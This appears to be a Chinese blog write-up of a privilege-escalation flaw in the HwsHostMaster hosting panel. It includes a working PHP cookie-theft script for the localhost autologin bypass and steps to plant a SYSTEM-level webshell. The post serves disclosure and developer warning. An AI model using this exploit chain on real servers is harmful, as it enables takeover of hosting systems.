天天看點

護衛神主機大師被提權漏洞利用(可千萬不能亂裝護衛神主機管理一鍵安裝的軟體)

 “護衛神·主機大師支援一鍵安裝網站運作環境(IIS+ASP+ASP.net+PHP5.2-5.6+MySQL+FTP+僞靜态+PhpMyAdmin),并可線上開設主機、SQL Server和MySQL;Web方式管理,擁有獨立前台和背景面闆。支援Windows Server 2008/2012。結合護衛神14年安全防護經驗,嚴格限制每個站點獨立權限,徹底阻擋跨站入侵。”

這話說的有點絕對性,做安全是沒有絕對的安全的,如果哪家做安全的敢那樣說,絕對不會出問題那肯定是在對客戶的不負責任。安全是相對的,需要知己知彼 雙方的配合以及安全的不斷完善化才能把安全做道最大化的保障。

先看看裝好後的軟體界面,可以看到一些常見的主機操作功能。其中網站管理引起了我的注意,點開瞅瞅

護衛神主機大師被提權漏洞利用(可千萬不能亂裝護衛神主機管理一鍵安裝的軟體)

點開之後就直接進去了,WTF?

護衛神主機大師被提權漏洞利用(可千萬不能亂裝護衛神主機管理一鍵安裝的軟體)

從邏輯流程來看這裡很明顯有問題,撸開代碼看看怎麼驗證的。虛拟主機管理系統運作在6588端口。且采用asp語言開發。程式路徑為x:\HwsHostMaster\host\web\下,且預設為system權限運作。

/admin/index.asp

<%Option Explicit%>
<!--#include file="../conn.asp"-->
<%
Dim strIp
strIp = Request.ServerVariables("local_addr")
Dim strAuto
strAuto = LCase(Trim(Request.QueryString("f")))
If (strIp = "::1" Or strIp = "127.0.0.1") And strAuto = "autologin"  Then
    '擷取管理使用者登入
    Dim sql,rs
    call conn_open()
    Set rs = Server.CreateObject("Adodb.Recordset")
    sql = "select top 1 * from [huweishen_Admin]"
    rs.Open sql,conn,1,1
    if rs.RecordCount = 0 then
        Session("admin")= "autologin"
    else
        Session("admin") = rs("username")
    end if
    rs.Close
    Session.Timeout =600
    AddLog Session("admin"), 1, "控制台直接登入管理中心"
    Response.Redirect "index.asp"
End If
%>
           

代碼乍一看好像沒啥問題,但是開發者疏忽了一個問題,第9行判斷來源ip是否為本地通路,strIp變量來自Request.ServerVariables(“local_addr”) ,如果為本地通路且strAuto=autologin則直接登入系統,無需賬号密碼驗證,這就出現一個問題了,開發者未考慮内部使用者是否合法,如果我擷取到一個低權限的webshell、那就相當于擷取到一個本地身份了。那麼我就可以直接通路到虛拟主機管理背景了。那麼就可以為所欲為了。

本漏洞利用前提是已經擷取到虛拟主機上的一個webshell,其次在通過以下腳本擷取cookie即可進入虛拟主機管理背景。

<?php
function httpGet() {
    $url = '[http://127.0.0.1:6588/admin/index.asp?f=autologin](http://127.0.0.1:6588/admin/index.asp?f=autologin)';
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, TRUE);    //表示需要response header
    curl_setopt($ch, CURLOPT_NOBODY, TRUE); //表示需要response body
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, FALSE);
    curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
    curl_setopt($ch, CURLOPT_TIMEOUT, 120);
    $result = curl_exec($ch);
    return $result;
}
echo httpGet();
?>
           

将該腳本上傳至伺服器,通路後即可擷取到管理者cookie。在本地修改cookie後即可進入到虛拟主機管理背景。繞過登入限制。

直接通路需要登入

護衛神主機大師被提權漏洞利用(可千萬不能亂裝護衛神主機管理一鍵安裝的軟體)

通過腳本擷取cookie

護衛神主機大師被提權漏洞利用(可千萬不能亂裝護衛神主機管理一鍵安裝的軟體)

修改cookie後直接通路/admin/index.asp,進入背景

護衛神主機大師被提權漏洞利用(可千萬不能亂裝護衛神主機管理一鍵安裝的軟體)

進入背景後點選網站清單,随便選擇一個網站,點選解壓進入操作界面,通過FTP或其他方式上傳shell壓縮包,然後輸入檔案名和解壓路徑,解壓路徑選擇護衛神管理系統路徑,一般為X:\HwsHostMaster\host\web\ X為任意盤符。

護衛神主機大師被提權漏洞利用(可千萬不能亂裝護衛神主機管理一鍵安裝的軟體)

在我這裡普通網站目錄和護衛神管理系統都在D盤下,是以采用相對路徑指向到虛拟主機管理系統web路徑即可點選解壓以後,shell就躺在管理系統目錄下了。并且為system權限。成功擷取到高權身份

該漏洞利用場景較為雞肋,前提要求已經擷取到該主機上的shell,才可采用該方法進行提權。開發者在開發過程中不要對内部不要過于信任,因為你也無法確定内部絕對的安全。

專注于安全領域 解決網站安全 解決網站被黑 網站被挂馬 網站被篡改

網站安全、伺服器安全提供商-www.sinesafe.com --專門解決其他人解決不了的網站安全問題.